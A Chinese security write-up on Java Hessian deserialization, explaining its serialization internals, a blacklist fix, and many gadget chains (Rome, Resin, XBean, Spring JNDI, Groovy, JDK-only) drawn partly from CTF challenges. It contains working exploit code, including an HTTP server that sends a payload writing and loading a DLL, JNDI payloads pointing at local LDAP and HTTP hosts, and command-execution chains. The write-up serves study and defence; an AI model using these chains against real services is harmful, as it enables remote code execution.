Hessian反序列化整理
1diot9 Lv5

本文首发于先知社区:

https://xz.aliyun.com/news/91672

前言

本文主要的目标是:

  1. 整理hessian1/2的序列化反序列化流程
  2. hessian反序列化漏洞怎么临时修复
  3. 收集hessian反序列化中的各种链子;绕过技巧
  4. 补充其他hessian相关的知识点

代码见:

https://github.com/1diot9/MyJavaSecStudy/tree/main/hessian

环境

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>

序列化过程

下面的序列化过程中,序列化工厂都设置为:允许序列化未实现Serializable接口的类

HessianOutput

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws IOException {
Person baka = new Person(1, "baka");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("name", "baka");

byte[] bytes = HessianTools.hessianSer2bytes(baka, "1");
Object o = HessianTools.hessianDeser(bytes, "1");

}
public static byte[] hessianSer2bytes(Object obj, String version) throws IOException {
if (version.equals("1")){
ByteArrayOutputStream baos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(baos);

SerializerFactory serializerFactory = hessianOutput.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessianOutput.setSerializerFactory(serializerFactory);

hessianOutput.writeObject(obj);
hessianOutput.close();
return baos.toByteArray();
}else if (version.equals("2")){
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);

SerializerFactory serializerFactory = hessian2Output.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);

hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
return null;
}

com.caucho.hessian.io.HessianOutput#writeObject:

img

这里判断序列化对象是否为null,不是的话,根据对象所属类,调用_serializerFactory.getSerializer,去获取序列化器。

com.caucho.hessian.io.SerializerFactory#getSerializer:

img

优先从缓存Map中搜索是否有当前Class对应的序列化器,有的话直接返回。没有的话,调用loadSerializer,根据类型获取对应的序列化器,然后put进缓存Map中,方便下次直接取。

com.caucho.hessian.io.SerializerFactory#loadSerializer:

img

295行处,_contextFactory.getSerializer(cl.getName()),根据类名称直接获取序列化器,这里能够直接获取的是39个基本类型:

img

com.caucho.hessian.io.SerializerFactory#loadSerializer:

img

309行处,尝试获取自定义的序列化器,com.caucho.hessian.io.ContextSerializerFactory#getCustomSerializer:

img

这里尝试获取XXXXHessianSerializer,说明Hessian也是可以自定义序列化逻辑的。

com.caucho.hessian.io.SerializerFactory#loadSerializer:

img

很多if,判断是否为指定类型,以此判断是否调用其他内置序列化器。自定义类会走到最后getDefaultSerializer。

com.caucho.hessian.io.SerializerFactory#getDefaultSerializer:

img

先判断是否设置默认的序列化器,一般是没设置的。然后判断类是否实现Serializable接口,或是设置了_isAllowNonSerializable,这就是为什么一开始序列化时要手动设置工厂,这样能解除序列化限制,从而增加能够利用的类。最终,在默认情况下,会走到392行,create一个UnsafeSerializer。

com.caucho.hessian.io.UnsafeSerializer#create

img

这里仍然有缓存机制,会根据不同的class,获取不同的UnsafeSerializer。跟进103行的构造方法:

img

这里调用introspect,这个方法名比较特殊,有一个类叫java.beans.Introspector,专门用于“内省”,即获取JavaBean的公开属性和方法。跟进introspect:

img

这里会获取所有的类属性。124行处,会判断属性修饰符,如果是transient或者static的,则不会参与序列化流程。这就是为什么说,transient或者static属性在gadget中不能使用,最经典的就是TemplatesImpl里面的_tfactory。

com.caucho.hessian.io.UnsafeSerializer#introspect:

img

最后获取属性的序列化器。

com.caucho.hessian.io.HessianOutput#writeObject:

img

序列化器获取完毕,现在开始序列化。

com.caucho.hessian.io.UnsafeSerializer#writeObject

img

writeObjectBegin写入开头的固定字节 Mt:

img

这里能够看出,HessianOutput默认将自定义对象当作Map来序列化。同时,com.caucho.hessian.io.AbstractHessianOutput#writeObjectBegin 始终返回-2,这代表使用hessian1进行序列化。

回到writeObject:

img

ref是-2,所以进入writeObject10:

img

这里依次写入每个属性的名称和值,最后写入Map结束符。

以上就是HessianOutput序列化自定义对象的过程。

如果写入的是Map对象,过程也差不多,只是会调用MapSerializer,写入的type会变成null:

img

实际写入的第一个字节为M:

img

然后对每个键值对也使用writeObject:

img

HessianOutput2

com.caucho.hessian.io.Hessian2Output#writeObject:

img

获取序列化器的方法看上去不一样了,但实际调用的是一个方法

com.caucho.hessian.io.SerializerFactory#getObjectSerializer:

img

这里还是会调用com.caucho.hessian.io.SerializerFactory#getSerializer

com.caucho.hessian.io.UnsafeSerializer#writeObject:

img

这里writeObjectBegin会不一样:

com.caucho.hessian.io.Hessian2Output#writeObjectBegin

img

  • 如果这个类名(type)之前发过,就只发一个整数编号(引用 ID),省流量。
  • 如果这个类名第一次出现,就发一个标记 C 加上完整的类名字符串。

这里自定义类默认情况下会在601行写入第一个字节C,最后返回-1,从而进入hessian2的序列化逻辑:

img

img

对比一下,能够发现这里先写入了属性数量和属性名称,没有直接将属性值写入。而是在com.caucho.hessian.io.UnsafeSerializer#writeInstance里面再写入:

img

其他部分和HessianOutput差不多。

如果写入的Map对象,还是调用MapSerializer,写入的type为null:

img

实际写入的第一个字节为H:

img

反序列化过程

HessianInput

com.caucho.hessian.io.HessianInput#readObject():

img

通过switch的方式进入。因为自定义对象和Map对象默认写入的第一个字节都是M,所以进入M对应的case。

com.caucho.hessian.io.SerializerFactory#readMap:

img

获取反序列化器,然后根据获取情况进行反序列化。

com.caucho.hessian.io.SerializerFactory#getDeserializer(java.lang.String)

img

还是熟悉的味道,先判断null,然后从缓存取反序列化器,然后从_staticTypeMap,也就是几个基本类型里取,然后判断数组,最后使用默认的getDeserializer:

img

这里和前面获取序列化器的过程几乎一模一样,只不过这里最终获取的是UnsafeDeserializer,看一下其构造方法:

img

com.caucho.hessian.io.UnsafeDeserializer#getFieldMap:

img

这里也几乎一模一样,通过反射获取类的属性,把属性名和对应的反序列化器放到fieldMap里备用。

回到com.caucho.hessian.io.SerializerFactory#readMap:

img

com.caucho.hessian.io.UnsafeDeserializer#readMap(com.caucho.hessian.io.AbstractHessianInput):

img

调用instantiate,通过Unsafe直接实例化对象,然后readMap还原各个属性。

com.caucho.hessian.io.UnsafeDeserializer#readMap(com.caucho.hessian.io.AbstractHessianInput, java.lang.Object):

img

这里也能看出是把自定义对象当作Map来还原的。先取出属性名,然后从filedMap取出对应反序列化器,然后deser.deserialize反序列化值,也是通过Unsafe方法根据偏移量直接还原。同时,这里也是可以重新resolve方法,来执行一些自定义操作。

如果反序列化的是HashMap,稍有不同:

img

最终进入第三个if。因为序列化写type的时候,写入的是null:

img

最终调用的反序列化器也是MapDeserializer:

img

这里最后的map.put,决定了我们利用链的入口。

map.put,如果时HashMap可以触发key.hashCode,key.equals;如果是TreeMap,可以触发compareTo。其他Map也可能有可以利用的,得看map.put能不能继续利用。

HessianInput2

也是通过switch来判断类型:

img

com.caucho.hessian.io.Hessian2Input#readObjectDefinition:

img

先读取类名,然后读取属性数量,然后开始还原属性,但不设置值。这点和序列化的操作是对应的。

获取反序列化器的过程,和前面序列化的几乎一模一样,这里直接放调用栈,细节可以自行调试:

img

最后会把还原好的属性通过ObjectDefinition进行包装,并put进_classDefs。至此,类定义部分的反序列化完成,下面开始还原值。

往下跟到com.caucho.hessian.io.UnsafeDeserializer#readObject(com.caucho.hessian.io.AbstractHessianInput, java.lang.Object[]):

img

这里就跟HessianInput里的过程很类似了。只不过这里变成了readObject,而不是readMap,因为Hessian2里面,自定义对象不再被默认解析为Map类型。

如果反序列化的是HashMap,流程会简化,如下:

img

这个过程也见过好几次了。最后的利用点也是一样的

序列化/反序列化流程小结

通过上面的分析,我们可以得出hessian反序列化的利用条件。

1、入口点为hashCode,equals,compareTo

2、调用链不能有transient或static修饰的变量,典例就是TemplatesImpl里的_tfactory

下面来看如何修复,以及常见的链子。

临时修复

这里主要通过重写SerializerFactory来添加黑名单过滤,从而阻止不安全的类进行反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.caucho.hessian.io.Deserializer;
import com.caucho.hessian.io.HessianProtocolException;
import com.caucho.hessian.io.SerializerFactory;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;

public class SafeSerializerFactory extends SerializerFactory {

private static final List<String> BLACKLIST = Arrays.asList(
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.beans.factory.ObjectFactory",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"javax.naming.InitialContext",
"javax.script.ScriptEngineManager",
"java.net.URL",
"java.net.InetAddress",
"org.springframework.aop.framework.AdvisedSupport",
"java.util.ServiceLoader" // 及其它利用链入口
);

@Override
public Deserializer getDeserializer(String type) throws HessianProtocolException {
if (type != null) {
// 简单的黑名单匹配
for (String black : BLACKLIST) {
if (type.startsWith(black) || type.contains("TemplatesImpl")) {
throw new HessianProtocolException("Class " + type + " is blocked for security reasons.");
}
}
}
// 检查通过,调用父类逻辑
return super.getDeserializer(type);
}
}
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
hessian2Input.setSerializerFactory(new SafeSerializerFactory());
Object o = hessian2Input.readObject();
hessian2Input.close();

利用链总结

这部分对原理进行简要分析,并附上利用代码。

HessianProxyFactory

这个利用手法来自AliyunCTF2026

在高版本JDK中,JNDI的绕过很多时候依靠本地工厂类,即实现ObjectFactory的类。一般来说,是找一个连接池,进而将JNDI转化成JDBC连接,从而实现JDBC攻击。

在Hessian里,也有实现了ObjectFactory的类:com.caucho.hessian.client.HessianProxyFactory。

其getObjectInstance,最终会创造一个动态代理com.caucho.hessian.client.HessianProxy,这个动态代理中,可以设置一个URL。当动态代理执行任意方法时,都会先触发invoke。而invoke中,会主动向先前设置的URL请求hessian序列化数据,并经过一些判断后,调用hessian反序列化,从而触发漏洞。

如图,getObjectInstance最后创建的动态代理:

img

如图,invoke方法中触发反序列化:

img

为了利用这个漏洞,有几个条件需要满足:

1、出网

2、通过JNDI lookup到对象后,需要调用对象的任意方法,才能触发invoke

需要自己开一个http,返回序列化数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.test.gadget.jndi;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.test.gadget.HashMap_ProxyLazyValue;
import tools.IOTools;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;


/**
* 利用链为写 dll/so ,然后 System.load
*/
public class HessianServer implements Runnable{
public static void main(String[] args) throws Exception {
start(8076);
}

public static void start(int port) throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", port), 0);

server.createContext("/hessian", new ExploitHandler());

server.start();
System.out.println("[+] Hessian Exploit Server started on port " + port);
}

@Override
public void run() {
try {
start(8076);
} catch (Exception e) {
throw new RuntimeException(e);
}
}

static class ExploitHandler implements HttpHandler {
@Override
public void handle(HttpExchange exchange) throws IOException {
System.out.println("\n[*] Received Hessian request from victim!");

// 读取请求 (用于调试)
InputStream is = exchange.getRequestBody();
Hessian2Input input = new Hessian2Input(is);

try {
// Hessian 调用格式
String method = input.readMethod();
System.out.println(" Method: " + method);

// 读取参数 (如果有)
int argCount = input.readMethodArgLength();
System.out.println(" Arg count: " + argCount);

for (int i = 0; i < argCount; i++) {
Object arg = input.readObject();
System.out.println(" Arg[" + i + "]: " + arg);
}

} catch (Exception e) {
System.out.println(" (Error reading request: " + e.getMessage() + ")");
}

// 利用链
byte[] bytes = IOTools.readFile("dynamic.dll");
String filename = "D:/1tmp/111.dll";
byte[] body = null;
try {
body = (byte[]) HashMap_ProxyLazyValue.writeAndLoadLib(filename, bytes);
} catch (Exception e) {
throw new RuntimeException(e);
}
System.out.println("[+] Sending Hessian payload...");

byte[] header = "HabF".getBytes();

byte[] payload = new byte[header.length + body.length];

System.arraycopy(header, 0, payload, 0, header.length);
System.arraycopy(body, 0, payload, header.length, body.length);

// 设置响应头
exchange.sendResponseHeaders(200, payload.length);

// 返回恶意 payload
OutputStream os = exchange.getResponseBody();
os.write(payload);

System.out.println("[+] Payload sent!");
}
}
}

题目EXP:

https://github.com/1diot9/CTFSolutions/tree/main/idea/2026/AliyunCTF/MHGA

最后,值得一提的是,java-chains也支持生成这种通过JNDI进行利用的hessian payload的生成,只需要打开一个开关即可。

img

jdk-only

这也是CTF带出来的,记得最早出现在0CTF2022。特点是不需要其他依赖,全部使用jdk内的类。

这里的关键有两个:

1、最终的Sink是什么

2、怎么触发Sink(各种toString触发)

最终Sink

SwingLazyValue#createValue

sun.swing.SwingLazyValue#createValue:

img

能够调用任意public static method(因为最后invoke时,传入的是Class,不是具体Object);能够调用任意public constructor

注意:

1、sun.swing.SwingLazyValue在jdk11以后就没了

2、Class.forName时,类加载器为null,默认使用BootStrap ClassLoader,只能加载核心jar包的类,即jre/lib下的类,如rt.jar。所以ext里的jar加载不到,比如nashorn.jar。

还有一点,jvm加载核心jar是懒加载机制,即用到里面的类,才去加载相应jar,这让我想起了spring项目中的charsets.jar利用法。不过这个和本文没关系,只是顺带提一下。

ProxyLazyValue#createValue

javax.swing.UIDefaults.ProxyLazyValue:

img

同上,但在jdk11以后的版本中仍然存在,且用的是AppClassLoader,所以适用性更广。

真·最终Sink

上面只是可以触发任意public static方法或是public构造方法,但具体利用哪些方法还不知道,下面就来盘点一下。

ServerManagerImpl#getActiveServers

https://xz.aliyun.com/news/18935

POC:https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/AudioFileFormat2toString.java

img

最终触发点:

img

因为是通过Runtime执行的,所以执行有特殊符号的命令时,需要进行编码。

https://github.com/shadow-horse/java.lang.Runtime.exec-Payload

同时,这是一个getter触发点,所以可以配合getter触发,如fastjson或jackson原生反序列化。

前半段使用了AudioFileFormat,后面会讲。

ClassPathXmlApplicationContext#

通过构造方法进行利用的经典案例,需要有spring-context依赖,通过加载xml利用。

恶意xml可以通过java-chains生成:

img

JavaWrapper#_main

POC:https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/PKCS9_BCEL.java

前置条件,jdk<8u251。

通过加载BCEL码利用。

img

img

会反射调用自定义恶意类中的_main方法。

BCEL可以通过java-chains生成:

img

JavaUtils#writeBytesToFilename + System#load

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/HashMap_ProxyLazyValue.java

先写入dll/so文件,然后加载。结合HashMap,能实现一次请求实现写入文件和加载dll/so。

DumpBytecode#dumpBytecode

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/MimeTypeParameterList_ProxyLazyValue_Sysload.java

这是nashorn.jar的类,所以只能在jdk8,且通过ProxyLazyValue。

MethodUtil#invoke

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/toStringBased/HashTableEquals_get.java

sun.reflect.misc.MethodUtil

原本只能调用public static方法,而MethodUtil#invoke将返回扩展到了public方法。

img

如上图,bounce是个static变量,通过getTrampoline获取:

img

上图的getTrampolineClass,返回的是sun.reflect.misc.Trampoline,所以最后返回的Method变成 Trampoline#invoke。

img

于是最终调用到上图的invoke。

TrAXFilter#

这个用不了,因为最终要用TemplatesImpl,hessian无法序列化里面的transit变量。不过还是在这里提一下。

UIDefaults#get触发

分析完上面的Sink,现在的目标是,如何调用到createValue。

这里主要通过toString触发,链路大致为:

xxx#toString–>UIDefaults#get–>SwingLazyVaule/ProxyLazyValue#createValue。

UIDefaults#get怎么触发到createValue比较清晰,所以这里主要找怎么触发get。

注意:UIDefaults是HashTable的子类。

走toString

sun.security.pkcs.PKCS9Attributes

img

img

attributes可控,且是HashTable。

javax.activation.MimeTypeParameterList

img

其他

HashTable#equals

HashMap#putVal–>HashTable#equals–>UIDefaults#get

img

toString怎么触发

上面有两种方法需要触发toString,现在来看看怎么样触发toString。

通过expect触发

核心原理是,对象被当作字符串进行拼接,从而隐式调用toString。漏洞代码如下:

img

调用栈如下:

img

img

img

img

上面的图显示,当读取type(理应为字符串)失败时,会进入default抛出报错,报错时会反序列化对象,并和字符串进行拼接。

为此,序列化过程需要做一些操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 反序列化时触发 toString
* @param obj
* @return
* @throws IOException
*/
public static byte[] hessian2ToStringSer(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write(67);
Hessian2Output hessian2Output = new Hessian2Output(baos);

SerializerFactory serializerFactory = hessian2Output.getSerializerFactory();
serializerFactory.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(serializerFactory);

hessian2Output.writeObject(obj);
hessian2Output.close();
return baos.toByteArray();
}

通过手动写入第一个字节,达到readString时进入default的效果。

XString家族

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/XStringFSB2toString.java

HashMap#putVal–>AbstractMap#equals–>XString#equals–>xxx#toString

这里选XStringForFSB

img

原理是两个HashMap作为key,在putVal时进行equals比较。HashMap没有equals,其父类AbstractMap有。通过提取内层HashMap的值,再次进行equals,即val2.equals(val1),这里就是xString.equals(jsonArray),从而调用jsonArray的toString。建议自己调试一遍,会比较清楚。

AudioFileFormat.Type

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/AudioFileFormat2toString.java

跟XString差不多,这次是Type#equals触发:

img

ConcurrentHashMap

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/blackhat2025/ConcurrentHashMap2equals.java

看一下调用栈:

img

这里其实和HashMap差不多,可以当作HashMap被禁用时的平替。

出网JNDI打法

Spring PartiallyComparableAdvisorHolder

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/SpringBased.java advisorHolder()

需要有spring-aop,spring-context依赖。

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.springframework.jndi.JndiTemplate.lambda$lookup$0(JndiTemplate.java:157)
at org.springframework.jndi.JndiTemplate$$Lambda$1.1059063940.doInContext(Unknown Source:-1)
at org.springframework.jndi.JndiTemplate.execute(JndiTemplate.java:92)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:157)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:179)
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetType(SimpleJndiBeanFactory.java:285)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:245)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:238)
at org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory.getOrder(BeanFactoryAspectInstanceFactory.java:136)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.getOrder(AbstractAspectJAdvice.java:223)
at org.springframework.aop.aspectj.AspectJPointcutAdvisor.getOrder(AspectJPointcutAdvisor.java:66)
at org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString(AspectJAwareAdvisorAutoProxyCreator.java:147)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at tools.HessianTools.hessianDeser(HessianTools.java:69)
at com.test.gadget.SpringBased.main(SpringBased.java:24)

Spring AbstractBeanFactoryPointcutAdvisor

POC:
https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/SpringBased.java pointcutAdvisor()

需要spring-aop,spring-context依赖。

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:92)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetSingleton(SimpleJndiBeanFactory.java:271)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:116)
at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:116)
at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:76)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at tools.HessianTools.hessianDeser(HessianTools.java:69)
at com.test.gadget.SpringBased.main(SpringBased.java:24)

这两条Spring的链子,最关键的类是SimpleJndiBeanFactory。这个类是最终触发lookup的。所以找链子时,可以把这个类的,能够触发lookup的方法当作sink,把equals当作source,然后通过tabby等静态分析工具进行利用链搜索。

能够调用lookup的几个方法:

img

Rome链

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/RomeBased.java

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

通过ToStringBean触发getter方法,来进行后续利用。一般接JdbcRowSetImpl打JNDI或者SignedObject二次反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static void rome2Jndi(String version) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/eae633");

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = ReflectTools.makeMap(equalsBean, "any");

byte[] bytes = HessianTools.hessianSer2bytes(hashMap, version);
HessianTools.hessianDeser(bytes, version);
}

// 二次反序列化
// 会触发三次,因为ToStringBean.printProperty间接触发两次EqualsBean.hashCode
public static void rome2SignedObj(String version) throws Exception {
Templates templates = TemplatesGen.getTemplates1(null, "D:/1tmp/classes/CalcAbs.class");
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = ReflectTools.makeMap(equalsBean, "any");

// 初始化 SignedObject 所需的密钥和签名工具
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 创建 SignedObject 对象,对 map 进行签名
SignedObject signedObject = new SignedObject(hashMap, privateKey, signingEngine);


ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
Map<Object, Object> hashMap2 = ReflectTools.makeMap(equalsBean2, "any");

byte[] bytes = HessianTools.hessianSer2bytes(hashMap2, version);
HessianTools.hessianDeser(bytes, version);
}

Resin链

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/ResinGadget.java

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>

限制比较大,只能rmi加载远程工厂类,所以只能打jdk<8u121的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Object getObject() throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Calc";

Reference ref = new Reference(refClassName, refClassName, refAddr);

Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
ReflectTools.setFieldValue(cannotProceedException, "resolvedObj", ref);

Class<?> contiC = Class.forName("javax.naming.spi.ContinuationContext");
Context continuationContext = (Context) UnsafeTools.getObjectByUnsafe(contiC);
ReflectTools.setFieldValue(continuationContext, "cpe", cannotProceedException);
ReflectTools.setFieldValue(continuationContext, "env", new Hashtable());

// 创建QName
QName qName = new QName(continuationContext, "aaa", "bbb");
// 实现hash碰撞
String str = unhash(qName.hashCode());
// 创建Xtring
XString xString = new XString(str);

// 创建HashMap
HashMap<Object, Object> finalMap = ReflectTools.makeMap(qName, xString);

return finalMap;
}

public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\u0915\u0009\u001e\u000c\u0002");

if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}

unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;

if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}

不过这里如何实现hash碰撞的方法值得学习,通过阅读XString的hashCode方法,从而得到unhash方法,进而确保putVal时,一定触发equals。

XBean链

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.24</version>
</dependency>

POC:

https://github.com/1diot9/MyJavaSecStudy/blob/main/hessian/src/main/java/com/test/gadget/XBeanGadget.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static Object getPayload() throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Calc";

Reference ref = new Reference(refClassName, refClassName, refAddr);
WritableContext writableContext = new WritableContext();

// 创建ReadOnlyBinding对象
String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding";
Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class)
.newInstance("aaa", ref, writableContext);

XString xString = new XString("any");

HashMap<Object, Object> finalMap = ReflectTools.makeEqualMap(xString, readOnlyBinding);

return finalMap;
}

跟Resin链一样,限制比较大。

Groovy

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>

GString链

hessian利用

https://xz.aliyun.com/news/90904

比较新的链子,最后通过Runtime执行。

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
at java.lang.Runtime.exec(Runtime.java:347)
at org.codehaus.groovy.runtime.ProcessGroovyMethods.execute(ProcessGroovyMethods.java:530)
at org.codehaus.groovy.runtime.dgm$894.doMethodInvoke(Unknown Source:-1)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1207)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1074)
at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1016)
at groovy.lang.Closure.call(Closure.java:423)
at groovy.lang.Closure.call(Closure.java:417)
at groovy.lang.GString.writeTo(GString.java:173)
at groovy.lang.GString.toString(GString.java:153)
at groovy.lang.GString.hashCode(GString.java:218)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at com.test.gadget.GroovyBased.gString(GroovyBased.java:28)
at com.test.gadget.GroovyBased.main(GroovyBased.java:13)

img

如上图,最后要进入c.call调用方法,所以前面要满足:getStrings有返回;values里面要是Closure及其子类;maximumNumberOfParameters的值是0

call最终调用到:

img

因此找一个Closure的子类,且实现doCall,且方法和参数可控的类就行。

这里用MethodClosure:

img

由于Groovy为字符串提供了命令执行的特性,提供了一个execute()函数,可以直接对字符串进行命令执行,类似于"whoami".execute()

另外,值得一提的是,通过groovy.lang.GString#writeTo去调用call,是没办法传参的,因为args默认为空Object[0]:

img

有没有能够传参的call调用呢?有的,下面的ContinuationDirContext链会讲。

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object gString() throws IllegalAccessException {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ReflectTools.setFieldValue(methodClosure, "maximumNumberOfParameters", 0);

String[] strings = {"any"};
